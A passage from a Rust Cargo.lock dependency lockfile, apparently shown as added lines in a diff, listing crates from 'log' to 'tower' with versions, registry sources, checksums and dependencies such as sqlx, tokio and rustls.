"224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50b7e5b27aa02a74bac8c3f23f448f8d87ff11f92d3aac1a6ed369ee08cc56c1" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" +dependencies = [ + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-conv" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6673768db2d862beb9b39a78fdcb1a69439615d5794a1be50caa9bc92c81967" + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.5.18", + "smallvec", + "windows-link", +] + +[[package]] +name = "password-hash" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7676374caaee8a325c9e7a2ae557f216c5563a171d6997b0ef8a65af35147700" +dependencies = [ + "base64ct", + "rand_core", + "subtle", +] + +[[package]] +name = "password-hash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" +dependencies = [ + "base64ct", + "rand_core", + "subtle", +] + +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + +[[package]] +name = "pbkdf2" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83a0692ec44e4cf1ef28ca317f14f8f07da2d95ec3fa01f86e4467b725e60917" +dependencies = [ + "digest", + "hmac", + "password-hash 0.4.2", + "sha2", +] + +[[package]] +name = "pem" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d30c53c26bc5b31a98cd02d20f25a7c8567146caf63ed593a9d87b2775291be" +dependencies = [ + "base64 0.22.1", + "serde_core", +] + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rcgen" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48406db8ac1f3cbc7dcdb56ec355343817958a356ff430259bb07baf7607e1e1" +dependencies = [ + "pem", + "ring", + "time", + "yasna", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "redox_syscall" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f450ad9c3b1da563fb6948a8e0fb0fb9269711c9c73d9ea1de5058c79c8d643a" +dependencies = [ + "bitflags", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rsa" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf4ef73721ac7bcd79b2b315da7779d8fc09718c6b3d2d1b2d94850eb8c18432" +dependencies = [ + "log", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.102.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64ca1bc8749bd4cf37b5ce386cc146580777b4e8572c7b97baf22c83f444bee9" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core", +] + +[[package]] +name = "simd-adler32" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "sqlformat" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bba3a93db0cc4f7bdece8bb09e77e2e785c20bfebf79eb8340ed80708048790" +dependencies = [ + "nom", + "unicode_categories", +] + +[[package]] +name = "sqlx" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9a2ccff1a000a5a59cd33da541d9f2fdcd9e6e8229cc200565942bff36d0aaa" +dependencies = [ + "sqlx-core", + "sqlx-macros", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", +] + +[[package]] +name = "sqlx-core" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24ba59a9342a3d9bab6c56c118be528b27c9b60e490080e9711a04dccac83ef6" +dependencies = [ + "ahash", + "atoi", + "byteorder", + "bytes", + "chrono", + "crc", + "crossbeam-queue", + "either", + "event-listener", + "futures-channel", + "futures-core", + "futures-intrusive", + "futures-io", + "futures-util", + "hashlink", + "hex", + "indexmap", + "log", + "memchr", + "once_cell", + "paste", + "percent-encoding", + "serde", + "serde_json", + "sha2", + "smallvec", + "sqlformat", + "thiserror", + "tokio", + "tokio-stream", + "tracing", + "url", +] + +[[package]] +name = "sqlx-macros" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea40e2345eb2faa9e1e5e326db8c34711317d2b5e08d0d5741619048a803127" +dependencies = [ + "proc-macro2", + "quote", + "sqlx-core", + "sqlx-macros-core", + "syn 1.0.109", +] + +[[package]] +name = "sqlx-macros-core" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5833ef53aaa16d860e92123292f1f6a3d53c34ba8b1969f152ef1a7bb803f3c8" +dependencies = [ + "dotenvy", + "either", + "heck 0.4.1", + "hex", + "once_cell", + "proc-macro2", + "quote", + "serde", + "serde_json", + "sha2", + "sqlx-core", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", + "syn 1.0.109", + "tempfile", + "tokio", + "url", +] + +[[package]] +name = "sqlx-mysql" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ed31390216d20e538e447a7a9b959e06ed9fc51c37b514b46eb758016ecd418" +dependencies = [ + "atoi", + "base64 0.21.7", + "bitflags", + "byteorder", + "bytes", + "chrono", + "crc", + "digest", + "dotenvy", + "either", + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "generic-array", + "hex", + "hkdf", + "hmac", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "percent-encoding", + "rand", + "rsa", + "serde", + "sha1", + "sha2", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror", + "tracing", + "whoami", +] + +[[package]] +name = "sqlx-postgres" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c824eb80b894f926f89a0b9da0c7f435d27cdd35b8c655b114e58223918577e" +dependencies = [ + "atoi", + "base64 0.21.7", + "bitflags", + "byteorder", + "chrono", + "crc", + "dotenvy", + "etcetera", + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "hex", + "hkdf", + "hmac", + "home", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "rand", + "serde", + "serde_json", + "sha2", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror", + "tracing", + "whoami", +] + +[[package]] +name = "sqlx-sqlite" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b244ef0a8414da0bed4bb1910426e890b19e5e9bccc27ada6b797d05c55ae0aa" +dependencies = [ + "atoi", + "chrono", + "flume", + "futures-channel", + "futures-core", + "futures-executor", + "futures-intrusive", + "futures-util", + "libsqlite3-sys", + "log", + "percent-encoding", + "serde", + "sqlx-core", + "tracing", + "url", + "urlencoding", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "stringprep" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b4df3d392d81bd458a8a621b8bffbd2302a12ffe288a9d931670948749463b1" +dependencies = [ + "unicode-bidi", + "unicode-normalization", + "unicode-properties", +] + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.2", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "time" +version = "0.3.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c" +dependencies = [ + "deranged", + "num-conv", + "powerfmt", + "serde_core", + "time-core", +] + +[[package]] +name = "time-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca" + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a91135f59b1cbf38c91e73cf3386fca9bb77915c45ce2771460c9d92f0f3d776" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tokio-rustls" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "775e0c0f0adb3a2f22a00c4745d728b479985fc15ee7ca6a2608388c5569860f" +dependencies = [ + "rustls", + "rustls-pki-types", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32da49809aab5c3bc678af03902d4ccddea2a87d028d86392a4b1560c6906c70" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite 0.21.0", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edc5f74e248dc973e0dbb7b74c7e0d6fcc301c694ff50049504004ef4d0cdcd9" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite 0.24.0", +] + +[[package]] +name = "tokio-util" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ae9cec805b01e8fc3fd2fe289f89149a9b66dd16786abd8b19cfa7b48cb0098" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + 